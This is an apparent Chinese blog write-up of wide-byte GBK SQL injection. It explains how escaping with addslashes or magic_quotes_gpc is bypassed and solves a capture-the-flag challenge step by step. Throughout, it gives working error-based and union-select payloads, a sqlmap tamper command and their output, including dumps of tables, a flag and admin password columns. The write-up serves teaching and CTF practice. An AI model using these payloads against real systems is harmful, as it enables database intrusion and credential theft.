寬位元組注入

託帕發表於2018-08-06

先補充一點背景:
大 家都知道PHP在開啟magic_quotes_gpc或者使用addslashes、iconv等函式的時候,單引號(')會被轉義成\'。比如字 符%bf在滿足上述條件的情況下會變成%bf\'。其中反斜槓(\)的十六進位制編碼是%5C,單引號(')的十六進位制編碼是%27,那麼就可以得出%bf \'=%bf%5c%27。如果程式的預設字符集是GBK等寬位元組字符集,則MySQL會認為%bf%5c是一個寬字元,也就是“縗”。也就是說%bf \'=%bf%5c%27=縗'。

說 到這裡好像還沒有看出來到底有什麼用。瞭解PHP+MySQL隱碼攻擊的朋友應該都明白,單引號在注入裡絕對是個好東西。尤其是,很多程式設計師都過分依賴於 magic_quotes_gpc或者addslashes、iconv等函式的轉義。理論上說,只要資料庫連線程式碼設定了GBK編碼,或者是預設編碼就 是GBK,那現在的程式裡到處都是注入漏洞

以上來源為:http://www.myhack58.com/Article/html/3/7/2012/33743.htm
講的不錯,我就複製黏貼了

例子:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1

【1】首先我們先要測試一下經典的%df%27
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%df%27 and 1=1 %23
結果頁面顯示:
Forbidden
看來是被過濾了
沒關係,我們依然可以嘗試這樣注入:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and 1=1%23
頁面是:look me,look me,look me.

http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and 1=2%23
頁面為空
看來是注入成功了
類似成功的還有:
(1)http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%e5%27 and 1=2%23
(2)http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%c2%27 and 1=1%23
(3)http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and 1=1%23
【2】我發現這是一個報錯注入,於是我們開始愉快的開啟報錯注入模式:
爆資料庫:
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select database()))) %23
頁面顯示:
XPATH syntax error: '\sql2'
【3】爆表
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=0x73716c32 limit 0,1))) %23
頁面顯示:
XPATH syntax error: '\[key_flag]'
【4】爆欄位:
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select COLUMN_NAME from Information_schema.columns where table_Name = 0x5b6b65795f666c61675d and TABLE_SCHEMA= 0x73716c32 limit 1,1))) %23
頁面顯示:
XPATH syntax error: '\key_flag'
【5】爆內容:
如果大家這樣:
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select key_flag from [key_flag]))) %23
注入爆內容的話就會出錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '[key_flag]))) #'' at line 1
這裡有點小坑,就是在mysql做查詢的時候表名不能帶有中括號,否則就會報錯,後來花了一個小時做實驗谷歌查詢得知,如果表裡面必須有中括號的時候必須要用’,“,` 包起來,但是’和”會被php的magic_quotes_gpc的這個函式轉義掉所以就要用`包起來,這個符號在鍵盤的Esc下面,url的編碼為%60
至此我們這樣爆就可以出內容了
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select key_flag from `[key_flag]`))) %23
頁面顯示:

XPATH syntax error: '\SYC{L0ve_Sql_Inj3ct10n_akak}'

 

sqlmap的指令是:sqlmap -u "http://202.120.7.140:8888/try.php?fruit=1" --tamper unmagicquotes -D "store" -T "tell_me_who_u_are" --dump

 

 

條件: 1. 資料庫採用gbk字符集 2. 網站將引號轉義為反斜槓加引號

原因: GBK雙位元組編碼中用兩個位元組表示一個漢字

首位元組範圍:0x81~0xFE

尾位元組範圍:0x40~0xFE(除0x7F)

反斜槓(\)對應編碼為0x5c

addslashes()函式 函式會在在以下字元之前新增反斜槓。 單引號(’)雙引號(")反斜槓(\)NULL

id輸入:1%df' and 1=2 union select 1,group_concat(table_name,0x23),3 from information_schema.tables where table_schema=0x7365637572697479%23
Your Login name:admin#,emails#,referers#,uagents#,users#

id輸入:
1%df' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x7365637572697479 and table_name =  0x61646d696e%23

Your Login name:Id,adminname,adminpasswd

1%df' and 1=2 union select 1,group_concat(Id,adminname,0x23,adminpasswd),3 from admin%23

相關文章